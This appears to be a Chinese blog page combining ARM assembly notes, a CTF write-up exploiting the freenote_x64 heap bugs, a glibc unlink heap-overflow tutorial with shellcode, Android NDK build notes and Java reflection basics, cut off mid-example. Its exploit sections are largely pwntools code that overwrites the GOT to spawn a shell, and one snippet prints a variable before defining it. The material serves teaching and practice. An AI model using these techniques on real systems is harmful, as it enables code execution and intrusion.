BruceFan's Blog

Stay hungry, stay foolish

0%

Register
from r0 to r15
r0 is used as a return value of functions
r11 is used like EBP (called FP)
r12 intra-procedure-call scratch register (called IP)
r13 is used like ESP (called SP)
r14 is Link-Register (called LR)
r15 is used like EIP (called PC)
all register are completely general, you can set a value to r15 directly
ldr r1, [pc] ;(pc point to ‘.long 0x00001337’)
b go_next
.long 0x00001337

r1 register will have 0x1337
ARM中的三级流水线,当前指令在执行,下一条在译码,再下一条正在读取
参数传递
ARM中的函数参数是通过r0~r3进行传递的,参数超过4个时,超出的部分会通过栈来传递。
mov
mov r1, r2 ;r1=r2
mov r1, #0x80 ;r1 = 0x80
push
push 0x10 ;push 0x10 onto stack
push {r1} ;push r1 register onto stack
push {r11, lr} ;push from right to left (push lr, push r11)
push {r1-r5} ;push r1,r2,r3,r4 and r5 onto stack
pop
pop {r11, pc} ;pop r11, pop pc
ldr
ldr{type}{cond} Rd, label
ldr r1, [r2] ;r1 = *r2
ldr r1, [r2, #0x10] ;r1 = *(r2+0x10)
type指明操作数的位数:

type 含义
B 无符号字节 8位
SB 有符号字节 8位
H 无符号半字 16位
SH 有符号半字 16位

字是32位,不需要指定type。加载数据时会根据有/无符号,将数据符号/零扩展为32位。
str
str r1, [r2] ;*r2 = r1
str r1, [r2, #0x1] ;*(r2+1)=r1
b/bl
b 0x8080 ;jump to 0x8080
bl 0x8080 ;jump to 0x8080 and save next instruction address of current into lr register
bx/blx
bx{cond} Rm
带状态切换的跳转指令,操作数为寄存器。满足条件cond,处理器判断Rm的最低位如果为1,则跳转时自动将CPSR寄存器的标志T置位,并将目标地址的代码解释为Thumb代码;如果Rm的最低位为0,则跳转时自动将CPSR寄存器的标志T复位,并将目标地址的代码解释为ARM。
add
add r1, r2 ;r1 = r1 + r2
add r1, #0x10 ;r1 = r1 + 0x10
add r1, r2, r3 ;r1 = r2 + r3
add r1, r2, #0x10 ;r1 = r2 + 0x10
sub
sub r1, r2 ;r1 = r1 - r2
cmp
cmp r1, r2 ;r1 - r2
系统调用
1.svc
svc #0x900004 ;calling sys_write
2.swi
mov r7, #4 ; write syscall
swi 0 ; execute syscall
这两个是一样的

lsls
Logical shift left
lsls r2, r2, #1 ;r2 = r2 << 1

system call /usr/include/arm-linux-gnueabihf/asm/unistd.h
(__lib_start_main)(int (*main)(int , char **, char **))
eor
eor r0, r0 ;异或

漏洞程序freenote_x64下载
运行程序,这是一个note笔记本程序:

1
2
3
4
5
6
7
8
9
➜  ./freenote_x64
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice:

new_note和delete_note通过malloc()free()来管理内存。
这个程序有两个漏洞,一个是建立新note的时候在note的结尾处没有加\0因此会造成堆或者栈的地址泄露,另一个问题就是在delete note的时候,并不会检测这个note是不是已经被删除过了,因此可以删除一个note两遍,造成double free。

泄露libc在内存中的地址

因为note的结尾没有\0,因此在输出时会把后面的内容打印出来。因为freelist的头部保存在了libc的.bss段,因此我们可以通过新建两个note(必须两个,若只有一个,删除后没有fd,bk)再删除一个note,然后再建立一个新note的方法来泄露出libc在内存中的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
notelen = 0x80

new_note("A" * notelen)
new_note("B" * notelen)
delete_note(0)

new_note("\xb8")
# 泄露libc的.bss段地址
list_note()

p.recvuntil("0. ")
leak = p.recvuntil("\n")
print leak[0:-1].encode('hex')
leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))
print hex(leaklibcaddr)

delete_note(1)
delete_note(0)
# freelist保存在libc的.bss段,0x3be7b8是freelist地址与libc起始地址之间的固定偏移(同一程序在不同机器上一样,不同程序不同,可由本地调试得知)
libc_base_addr = leaklibcaddr - 0x3be7b8
# 0x46640是system在libc.so中的偏移
system_sh_addr = libc_base_addr + 0x46640
print "system_sh_addr: " + hex(system_sh_addr)
# 0x17ccdb是"/bin/sh"在libc.so中的偏移
print "binsh_addr: " + hex(binsh_addr)
binsh_addr = libc_base_addr + 0x17ccdb

note_table的指针在.bss段的地址:

1
.bss:00000000006020A8 note_table_ptr      dq ?

用gdb attach到freenote_x64的进程上,查看指针值即为note_table的地址,查看note_table内容:

1
2
3
4
5
6
7
8
gdb-peda$ x/x 0x6020A8
0x6020a8: 0x0000000002328010 ; note_table address

gdb-peda$ x/8x 0x2328010
0x2328010: 0x0000000000000100 0x0000000000000002
0x2328020: 0x0000000000000001 0x0000000000000080
0x2328030: 0x0000000002329830 0x0000000000000001
0x2328040: 0x0000000000000080 0x00000000023298c0

note_table的结构:

1
2
3
4
5
6
7
head            chunk0                      chunk1
| | |
+--------+--------+--------+--------+---------+-
| total | in_use | in_use | note | note |
| number | number | | length | address | ...
| 0x100 | | | | |
+--------+--------+--------+--------+---------+-

这时note_table中有2条note,地址分别为0x2329830和0x23298c0。
删除note0后,查看note_table里的内容:

1
2
3
4
5
gdb-peda$ x/8x 0x2328010
0x2328010: 0x0000000000000100 0x0000000000000001
0x2328020: 0x0000000000000000 0x0000000000000000
0x2328030: 0x0000000002329830 0x0000000000000001
0x2328040: 0x0000000000000080 0x00000000023298c0

查看note0地址里的内容:

1
2
3
gdb-peda$ x/4x 0x2329830
0x2329830: 0x00007ff508b507b8 0x00007ff508b507b8
0x2329840: 0x4141414141414141 0x4141414141414141

fd为0x00007ff508b507b8,bk为0x00007ff508b507b8
新建一个内容为"\xb8"的note,打印内容就能泄露出fd的值。由fd的值计算出libc在内存的基址,从而算出system()"/bin/sh"的实际地址。
system()"/bin/sh"在libc中的偏移可以如下得出:

1
2
3
4
5
6
from pwn import *

libc = ELF("./libc-2.19.so")

print hex(next(libc.search('/bin/sh')))
print hex(libc.symbols['system'])

或者手工:

1
$ nm -D libc-2.19.so | grep system

泄露出heap在内存中的地址

如果让某个非使用中chunk的fd指向另一个chunk,并且让note的内容刚好接上,就可以把chunk在堆上的位置给泄露出来。这样我们就能得到堆(note_table)的基址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
notelen = 0x10

new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note(2)
delete_note(0)

new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n")

print leak[0:-1].encode('hex')
leakheapaddr = u64(leak[0:-1].ljust(8, '\x00'))
print hex(leakheapaddr)

delete_note(0)
delete_note(1)
delete_note(3)

删除note2和note0后freelist的结构:

1
2
3
4
5
6
7
freelist     note0空闲块   note2空闲块
| | |
+------+ +------+ +------+
| | --> | fd |--> | fd |
| | <--| bk | <--| bk |
+------+ +------+ +------+
| .... |

freelist是从头进,从尾出(FIFO)。先删除note2,note2加入list,再删除note0,note0从头加入。再新建一个内容为”AAAAAAAA”的note,会先使用note2空闲块,因此看一下note2的内容:

1
2
3
gdb-peda$ x/4x 0x2329950
0x2329950: 0x00007ff508b507b8 0x0000000002329820
0x2329960: 0x0000000000000000 0x0000000000000000

新建note后,”AAAAAAAA”覆盖了0x00007ff508b507b8,正好接到0x0000000002329820(note0地址),使用list_note就能泄露出note0的地址,note0的地址减去0x1810就是note_table的地址。

将note0的地址指向note_table的地址。随后我们就可以通过编辑note0来编辑note_table了。通过编辑note_table我们把note0指向free()函数在got表中的地址,把note1指向"/bin/sh"在内存中的地址。然后我们编辑note0把free()函数在got表中的地址改为system()的地址。最后我们执行delete note1操作。因为我们把note1的地址指向了"/bin/sh",所以程序会执行system(“/bin/sh”),最终达到了我们的目的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
notelen = 0x80

new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)

delete_note(2)
delete_note(1)
delete_note(0)
# note_table_address = note0->address - 0x1810
# note0->pos = note_table_address + 0x20
# fd = note0->pos - 0x18
fd = leakheapaddr - 0x1810 + 0x20 - 0x18
# bk = note0->pos - 0x10
bk = fd + 0x8

对应的堆结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
+-----------+-note0
| prev_size |
+-----------+
| size&Flag |
+-----------+-malloc返回的ptr
+-----------+
+-----------+
| data |
+-----------+-note1
| prev_size |
+-----------+
| size&Flag |
+-----------+-malloc返回的ptr
+-----------+
+-----------+
| data |
+-----------+-note2
| prev_size |
+-----------+
| size&Flag |
+-----------+-malloc返回的ptr
+-----------+
+-----------+
| data |
+-----------+

fd指向note0在note_table中的位置减0x18,bk指向note0在note_table中的位置减0x10

1
2
3
4
5
6
7
8
9
10
11
payload  = ""
# fake_prevsize + fake_size + fake_fd + fake_bk + data
payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
# fake_prevsize + size + data
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
# prevsize + size + data
payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20)

new_note(payload)

delete_note(1)

对应的堆结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
+-----------+-note0
| prev_size |
+-----------+
| size&Flag |
+-----------+-malloc返回的ptr
| fake_prev |
+-----------+
| fake_size |
+-----------+
| fake_fd |
+-----------+
| fake_bk |
+-----------+
| data |
+-----------+-note1
| fake_prev |
+-----------+
| fake_size |
+-----------+-malloc返回的ptr
+-----------+
+-----------+
| data |
+-----------+-note2
| 0 |
+-----------+
| size&Flag |
+-----------+-malloc返回的ptr
+-----------+
+-----------+
| data |
+-----------+

delete note1就会触发unlink,使note0的地址变成note0->pos-0x18,这时对note0进行编辑即对note_table进行编辑:

1
2
3
4
5
6
7
8
9
10
11
free_got = 0x602018

payload2 = p64(notelen) + p64(1) + p64(0x8) + p64(free_got) + "A"*16 + p64(binsh_addr)
payload2 += "A"* (notelen*3-len(payload2))

edit_note(0, payload2)
edit_note(0, p64(system_sh_addr))

delete_note(1)

p.interactive()

完整exp
reference
http://drops.wooyun.org/binary/10638

这种方法适用于glibc版本<2.26

glibc malloc基础

在线malloc.c源码
在malloc.c中找到chunk结构的相关代码:

1
2
3
4
5
6
7
8
9
10
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
}

heap chunk结构如下

1
2
3
4
5
6
7
+-----------+---------+------+------+-------------+
| | | | | |
| | | | | |
| prev_size |size&Flag| fd | bk | |
| | | | | |
| | | | | |
+-----------+---------+------+------+-------------+

如果当前chunk前面相邻的chunk空闲,那么prev_size记录前一个chunk的大小,如果不空闲,prev_size区域是前面chunk的数据部分。
size是当前chunk的大小,因为chunk的大小都是8字节对齐,size的低三位一定会空闲出来,低三位就用作三个Flag标识位。
fdbk是在当前chunk为空闲时,分别指向下一个和上一个空闲chunk,串联成一个空闲chunk的双向链表
详细介绍请参考我的另一篇Blog

经典的unlink利用方法

有漏洞的演示程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
char *first, *second;
first = malloc(666);
second = malloc(12);
if (argc != 1)
strcpy(first, argv[1]);
free(first);
free(second);
return 0;
}

strcpy函数导致堆溢出,argv[1]大于666字节时,会覆盖下一个chunk的chunk头,能够导致任意代码执行。
堆的结构如下:

1.没有攻击者时,第一个free做了以下工作:
不是mmap创建的chunk,会向前或向后合并
向后合并:

  • 判断前一个chunk是否空闲 如果当前释放的chunk的PREV_INUSE(P)位设为0,则前一个chunk空闲。本例中,因为”first”的PREV_INUSE位设为1,所以前一个chunk不是空闲的,默认堆内存的第一个chunk的前一个chunk是allocated(即使它不存在)。
  • 如果空闲,则合并 例如,从binlist中将前一个chunk移除(unlink),把前一个chunk的大小加到当前大小,改变chunk指针指向前一个chunk。本例中,前一个chunk是allocated,所以没有调用unlink。因此当前的空闲chunk “first”不能向后合并。

向前合并:

  • 判断下个chunk是否空闲 如果下下个chunk(相对当前释放的chunk而言)的PREV_INUSE(P)位设为0,则下个chunk是空闲的。为了找到下下个 chunk,将当前释放chunk的大小加到它的chunk指针就得到下个chunk的指针,然后将下个chunk的大小加到下个chunk指针就能得到下下个chunk。本例中,当前释放的”first” chunk的下下个chunk是top chunk,它的PREV_INUSE位是1,因此下个chunk “second”没有被释放。
  • 如果空闲,则合并 例如,将下个chunk从它的binlist中移除(unlink),把下个chunk的大小加到当前大小。本例中,下一个chunk是allocated,因此没有调用unlink。因此,当前释放的chunk “first”不能向前合并。

将合并后的chunk加到unsorted bin。本例中,因为没有合并发生,所以把”first” chunk加到unsorted bin。

2.攻击者在strcpy中覆盖了”second” chunk的chunk头:

1
2
3
4
prev_size = 偶数
size = -4
fd = free@got - 12
bk = shellcode address

有攻击者时,第一个free做了如下工作:
向前合并:

  • 当前释放的”frist” chunk的下下个chunk不是top chunk。因为攻击者将”second” chunk的大小覆盖为-4, 所以下下个chunk在”second” chunk偏移为-4的位置。因此现在glibc malloc把”second” chunk的prev_size当做下下个chunk的size。因为攻击者把prev_size覆盖为偶数(PREV_INUSE位为0),glibc malloc以为”second” chunk是空闲的。
  • 如果空闲,则合并 将下个chunk从它的binlist中移除(unlink),把下个chunk的大小加到当前大小。本例中,下个chunk(second)是空闲的,因此会发生合并,触发unlink(second)宏:
    1
    2
    3
    4
    FD = second->fd (本例中fd是free@got-12)
    BK = second->bk (本例中bk是shellcode的地址)
    FD->bk = BK
    BK->fd = FD
  • 把”second” chunk的fd和bk拷贝到变量FDBK。本例中,FD = free@got-12, BK = shellcode address(攻击者将shellcode放在”first”堆空间中)
  • FD是malloc_chunk结构体指针,因此FD->bk相当于FD+12。本例中,FD+12 = free@got-12+12,即指向free对应的GOT条目。
  • 因此FD->bk = BK相当于free@got = shellcode address(free对应的GOT条目被覆盖成了shellcode地址)。
  • 现在第二个free调用时就会执行shellcode。

漏洞程序的poc如下:

1
2
3
4
5
6
7
8
#!/usr/bin/python
from pwn import *

elf = ELF('./heapover')
got_free = elf.got['free']

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
print shellcode + '\x90' * (0x2a0 - len(shellcode) - 8) + p32(0xdefaced) + p32(0xfffffffc) + p32(got_free-12) + p32(0x0804b008)

这个poc只是说明一下利用方法,实际不能运行,下面就是原因。

现在的glibc都是采取了保护机制的,想要利用unlink没有以前那么方便了。
新版本glib中的unlink宏:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \

最大的阻碍就是下面这部分代码:

1
2
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);

这段代码加到unlink宏后,再调用unlink宏时,chunk指针FD->bk(即P->fd->bk)应该是p指针自己,BK->fd也是。
上一部分中,我们修改了

1
2
p->bk = shellcode address
p->fd = free@got-12

这样改使得FD->bkfree@got,而BK->fdshellcode+8不能通过,上文的利用方式不能成功。
想要绕过这段代码需要在内存中找到一个已知的地址X指向p(地址X中保存p的值),修改如下

1
2
fd = 0x0804bfa0 - 0xc // 0x0804bfa0是地址X
bk = 0x0804bfa0 - 0x8

这样修改,unlink执行

1
2
FD = P->fd; // 0x0804bfa0 - 0xc
BK = P->bk; // 0x0804bfa0 - 0x8

使得FD->bk == PBK->fd == P,即可绕过检查代码。unlink接着执行

1
2
FD->bk = BK;
BK->fd = FD; // p = 0x0804bfa0 - 0xc

再对p指向的chunk进行写入,’A’ * 0xc + overwrite,就可以将p覆盖成某一值。
具体过程借一个示例讲解
这个程序在free时没有检验指针的有效性,没有在free之后将野指针清空。可以任意指定每一个chunk的大小。
利用步骤如下:
1.分配两个长度合适的chunk

1
2
3
4
5
6
7
8
9
chunk0                malloc返回的ptr        chunk1        malloc返回的ptr
| | | |
+-----------+---------+---+---+-------------+------+------+----+----+------+
| | | | | | | | | | |
| | | | | | prev | size&| | | |
| prev_size |size&Flag| | | | size | flag | | | |
| | | | | | | | | | |
| | | | | | | | | | |
+-----------+---------+---+---+-------------+------+------+----+----+------+

chunk0大小为504,chunk1大小为512,内容随意。
2.对chunk0进行编辑,设置好chunk0的fd、bk并溢出chunk1,改好chunk0的chunk头控制信息如下:

1
2
3
4
5
6
7
8
9
10
chunk0                malloc返回的p             chunk1        malloc返回的p
| | | |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
| | |fake|fake|fake|fake| D | fake | fake | | | |
| | |prev|size| fd | bk | A | prev | size&| | | |
| prev_size |size&Flag|size| | | | T | size | flag | | | |
| | | | | | | A | | | | | |
| | | | | | | | | | | | |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
|--------new_size--------|

为了欺骗glibc,让它以为malloc chunk0时返回的指针p就是chunk0指针,因此改写chunk1的prev_size为上图所示的new_size,将chunk1 size部分设为chunk1的实际大小(PREV_INUSE为0)。如此就做好了unlink触发的准备。
3.再新分配一个chunk2,内容为/bin/sh,为后面调用system()做准备。
4.删掉chunk1,触发unlink(p),将p改写。
删除chunk1时,glibc会检查PREV_INUSE的值,发现前一个chunk是空闲的(实际是我们伪造的),glibc会合并两个相邻的空闲块。glibc会先将chunk0从binlist中解引用,触发unlink(p)。

1
2
3
4
5
FD = p->fd(实际是0x0804bfa0-0xc,因为全局数组保存p值的地址是0x0804bfa0)
BK = p->bk(实际是0x0804bfa0-0x8)
检查是否满足上文所示的限制,由于FD->bk和BK->fd均为*0x0804bfa0(p),由此可以过掉这个限制
FD->bk = BK
BK->fd = FD(p = 0x0804bfa0-0xc)

存储指针的全局变量a的结构如图所示

1
2
3
4
5
p           0   1   2
| | | |
+---+---+---+---+---+---+
| | | | p | | | ...
+---+---+---+---+---+---+

5.对chunk0进行edit,填写内容为'A'*0xc + p32(0x0804a014)其中0x0804a014为free的got地址,edit之后p指针被free的got地址覆盖,此时print就会打印出所有的got地址。

6.根据泄露出的实际内存地址,计算出system函数的实际内存地址,将system的地址当做free的地址,其它地址不变,重新写回got。
7.Free chunk2就相当于调用system("/bin/sh"),即可获得shell。
reference
https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/
http://drops.wooyun.org/tips/7326

编译原生程序:

  • 使用gcc编译器写makefile文件手动编译
  • 使用ndk-build工具自动编译

工具

path_to/android-ndk-r10c/toolchains/arm-linux-androideabi-4.9/prebuilt/ darwin-x86_64/bin目录下保存着完整的工具链:
arm-linux-androideabi-g++ C++编译工具
arm-linux-androideabi-gcc C编译工具
arm-linux-androideabi-gdb 调试工具
arm-linux-androideabi-ld 链接器,用于生成可执行程序
arm-linux-androideabi-nm 列出目标文件中的符号
arm-linux-androideabi-objdump 输出目标文件的信息
arm-linux-androideabi-readelf 显示elf格式可执行文件信息
arm-linux-androideabi-size 列出目标文件每一段的大小
arm-linux-androideabi-strings 列出目标文件的可打印字符串
arm-linux-androideabi-strip 去除目标文件中的符号信息
编写简单的C程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
static int encrypt()
{
int i = 0;
char plaintext[128] = "abcdefg";
printf("in encrypt!");
return i;
}
int main()
{
encrypt();
return 1;
}

编写makefile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
CC = arm-linux-androideabi-gcc
ANDROID_NDK=/Users/fan/Computer/Android/adt-bundle-mac-x86_64-20140702/android-ndk-r10c
NDK_TOOLS=$(ANDROID_NDK)/toolchains/arm-linux-androideabi-4.9/prebuilt/darwin-x86_64/bin
TOOLCHAINS_INCLUDE=$(ANDROID_NDK)/toolchains/arm-linux-androideabi-4.9/prebuilt/darwin-x86_64/lib/gcc/arm-linux-androideabi/4.9/include-fixed
PLATFORM_INCLUDE=$(ANDROID_NDK)/platforms/android-21/arch-arm/usr/include
PLATFORM_LIB=$(ANDROID_NDK)/platforms/android-21/arch-arm/usr/lib
FLAGS=-I$(TOOLCHAINS_INCLUDE) \
-I$(PLATFORM_INCLUDE) \
-L$(PLATFORM_LIB) \
-fPIC \
-shared \
-llog

test: test.o
$(CC) test.o $(FLAGS) -o test
test.o: test.c
$(CC) -c test.c $(FLAGS) -o test.o

主要是ANDROID_NDK NDK_TOOLS TOOLCHAINS_INCLUDE PLATFORM_INCLUDE PLATFORM_LIB几个变量的定义。
makefile的基本用法可以看我前面写过的这篇文章

1
2
3
4
5
6
$ make
arm-linux-androideabi-gcc hook1.o -I/Users/fan/Computer/Android/adt-bundle-mac-x86_64-20140702/android-ndk-r10c/toolchains/arm-linux-androideabi-4.9/prebuilt/darwin-x86_64/lib/gcc/arm-linux-androideabi/4.9/include-fixed -I/Users/fan/Computer/Android/adt-bundle-mac-x86_64-20140702/android-ndk-r10c/platforms/android-21/arch-arm/usr/include -L/Users/fan/Computer/Android/adt-bundle-mac-x86_64-20140702/android-ndk-r10c/platforms/android-21/arch-arm/usr/lib -fPIC -shared -llog -o hook1
/Users/fan/Computer/Android/adt-bundle-mac-x86_64-20140702/android-ndk-r10c/toolchains/arm-linux-androideabi-4.9/prebuilt/darwin-x86_64/bin/../lib/gcc/arm-linux-androideabi/4.9/../../../../arm-linux-androideabi/bin/ld: error: cannot open crtbegin_so.o: No such file or directory
/Users/fan/Computer/Android/adt-bundle-mac-x86_64-20140702/android-ndk-r10c/toolchains/arm-linux-androideabi-4.9/prebuilt/darwin-x86_64/bin/../lib/gcc/arm-linux-androideabi/4.9/../../../../arm-linux-androideabi/bin/ld: error: cannot open crtend_so.o: No such file or directory
collect2: error: ld returned 1 exit status
make: *** [hook1] Error 1

我在Mac下编译出现这个错误,解决方法:

1
2
3
$ cd /Users/fan/Computer/Android/adt-bundle-mac-x86_64-20140702/android-ndk-r10c/toolchains/arm-linux-androideabi-4.9/prebuilt/darwin-x86_64/lib/gcc/arm-linux-androideabi/4.9
$ cp crtbegin.o crtbegin_so.o
$ cp crtend.o crtend_so.o

再编译就能成功生成elf文件了,与ndk-build生成的elf文件的不同是没有去掉符号表。

反射机制

反射是Java语言的一个特性,是Java被视为动态语言的一个关键性质。这个机制允许程序在运行时透过Reflection APIs取得任何一个已知名称的class的内部信息,包括modifiers(如public,static等)、superclass(如Object)、实现之interfaces(例如Cloneable),也包括fields和methods的所有信息,并可于运行时改变fields内容或唤起methods。Java可以加载一个运行时才得知名称的class,获得其完整结构。
A Simple Example

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.lang.reflect.*;
public class DumpMethods {
public static void main(String args[]) {
try {
Class c = Class.forName(args[0]);
Method m[] = c.getDeclaredMethods();
for (int i = 0; i < m.length; i++)
System.out.println(m[i].toString());
} catch (Throwable e) {
System.err.println(e);
}
}
}

输出结果

1
2
3
4
5
6
$ java DumpMethods java.util.Stack
public java.lang.Object java.util.Stack.push(java.lang.Object)
public synchronized java.lang.Object java.util.Stack.pop()
public synchronized java.lang.Object java.util.Stack.peek()
public boolean java.util.Stack.empty()
public synchronized int java.util.Stack.search(java.lang.Object)

列出了java.util.Stack类的所有方法名和签名。
这个程序用class.forName加载特定的类,然后调用getDeclaredMethods取出类中定义的方法列表。java.lang.reflect.Method是一个代表类方法的类。

JDK中提供的Reflection API

Interfaces
AnnotatedElement
GenericArrayType
GenericDeclaration
InvocationHandler
Member
ParameterizedType
Type
TypeVariable
WildcardType
Classes
AccessibleObject
Array
Constructor
Field
Method
Modifier
Proxy
ReflectPermission
Exceptions
InvocationTargetException
MalformedParameterizedTypeException
UndeclaredThrowableException
Errors
GenericSignatureFormatError

Java反射机制提供的功能

  • 在运行时判断任意一个对象所属的类
  • 在运行时构造任意一个类的对象
  • 在运行时判断任意一个类所具有的成员变量和方法
  • 在运行时调用任一个对象的方法
  • 在运行时创建新类对象

在使用Java的反射功能时,基本首先都要获取类的Class对象,再通过Class对象获取其他的对象。
用于测试的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
class Type {
public int pubIntField;
public String pubStringField;
private int prvIntField;

public Type() {
Log("Default Constructor");
}
Type(int arg1, String arg2) {
pubIntField = arg1;
pubStringField = arg2;
Log("Constructor with parameters");
}
public void setIntField(int val) {
this.prvIntField = val;
}
public int getIntField() {
return prvIntField;
}
private void Log(String msg) {
System.out.println("Type:" + msg);
}
}

class ExtendType extends Type {
public int pubIntExtendField;
public String pubStringExtendField;
private int prvIntExtendField;

public ExtendType() {
Log("Default Constructor");
}
ExtendType(int arg1, String arg2) {
pubIntExtendField = arg1;
pubStringExtendField = arg2;
Log("Constructor with parameters");
}
public void setIntExtendField(int field7) {
this.prvIntExtendField = field7;
}
public int getIntExtendField() {
return prvIntExtendField;
}
private void Log(String msg) {
System.out.println("ExtendType:" + msg);
}
}

1.获取类的Class对象
Class类的实例表示正在运行的Java应用程序中的类和接口。

  • 调用getClass
    1
    2
    3
    Boolean var1 = new Boolean("true");
    Class classType1 = var1.getClass();
    System.out.println(classType1);
  • 运用.class语法
    1
    2
    Class classType2 = Boolean.class;
    System.out.println(ClassType2)
  • 运用static method Class.forName()
    1
    2
    Class classType3 = Class.forName("java.lang.Boolean");
    System.out.println(classType3);
  • 运用primitive wrapper classes的TYPE语法(这里返回的是原生类型,和Boolean.class返回的不同)
    1
    2
    Class classType4 = Boolean.TYPE;
    System.out.println(classType4);

2.获取类的Fields
可以通过反射机制得到某个类的某个属性,然后改变对应于这个类的某个实例的该属性值。Java的Class类提供了几个方法获取类的属性。

  • public Field getField(String name)
    返回一个Field对象,它反映此Class对象所表示的类或接口的指定public成员字段。
  • public Field[] getFields()
    返回Field对象的数组,这些对象反映此Class对象所表示的类或接口的所有可访问public字段。
  • public Field getDeclaredField(String name)
    返回一个Field对象,它反映此Class对象所表示的类或接口的指定已声明字段。
  • public Field[] getDeclaredFields()
    返回Field对象的数组,这些对象反映出此Class对象所表示的类或接口声明的所有字段。
1
2
3
4
5
6
7
8
9
10
Class classType = ExtendType.class;
Field[] fields = classType.getFields();
for (int i = 0; i < fields.length; i++) {
System.out.println(fields[i]);
}
System.out.println();
fields = classType.getDeclaredFields();
for (int i = 0; i < fields.length; i++) {
System.out.println(fields[i]);
}

可见getFields和getDeclaredFields区别:
getFields返回的是声明为public的属性,包括父类中定义,
getDeclaredFields返回的是指定类定义的所有定义的属性,不包括父类的。

3.获取类的Method
通过反射机制得到某个类的某个方法,然后调用对应于这个类的某个实例的该方法。Class类提供了几个获取类方法的方法。

  • public Method getMethod(String name, Class<?>... parameterTypes)
    返回一个Method对象,它反映此Class对象所表示的类或接口的指定public成员方法。
  • public Method[] getMethods()
    返回Method对象的数组,这些对象反映此Class对象所表示的类或接口的public成员方法,包括继承的方法。
  • public Method getDeclaredMethod(String name, Class<?>... parameterTypes)
    返回一个Method对象,该对象反映此Class对象所表示的类或接口的指定已声明方法。
  • public Method[] getDeclaredMethods()
    返回Method对象的数组,这些对象反映此Class对象表示的类或接口声明的所有方法,但不包括继承的方法。
1
2
3
4
5
6
7
8
9
10
Class classType = ExtendType.class;
Method[] methods = classType.getMethods();
for (int i = 0; i < methods.length; i++) {
System.out.println(methods[i]);
}
System.out.println();
methods = classType.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
System.out.println(methods[i]);
}

4.获取类的Constructor
通过反射机制得到某个类的构造器,然后调用该构造器创建该类的一个实例,Class类提供了几个方法获取类的构造器。

  • public Constructor<T> getConstructor(Class<?>... parameterType)
    返回一个Constructor对象,它反映此Class对象所表示的类的指定public构造方法。
  • public Constructor<?>[] getConstructors()
    返回Constructor对象的数组,这些对象反映此Class对象所表示的类的所有public构造方法。
  • public Constructor<T> getDeclaredConstructor(Class<?>... parameterTypes)
    返回一个Constructor对象,它反映此Class对象所表示的类或接口的指定构造方法。
  • public Constructor<?>[] getDeclaredConstructors()
    返回Constructor对象的数组,这些对象反映此Class对象表示的类声明的所有构造方法。
1
2
3
4
5
6
7
8
9
Constructor[] constructors = classType.getConstructors();
for (int i = 0; i < constructors.length; i++) {
System.out.println(constructors[i]);
}
System.out.println();
constructors = classType.getDeclaredConstructors();
for (int i = 0; i < constructors.length; i++) {
System.out.println(constructors[i]);
}

5.新建类的实例
通过反射机制创建新类的实例,有几种方法可以创建。

  • 调用无自变量ctor

(1)调用类的Class对象的newInstance方法,该方法会调用对象的默认构造函数,如果没有默认构造函数,会调用失败。

1
2
3
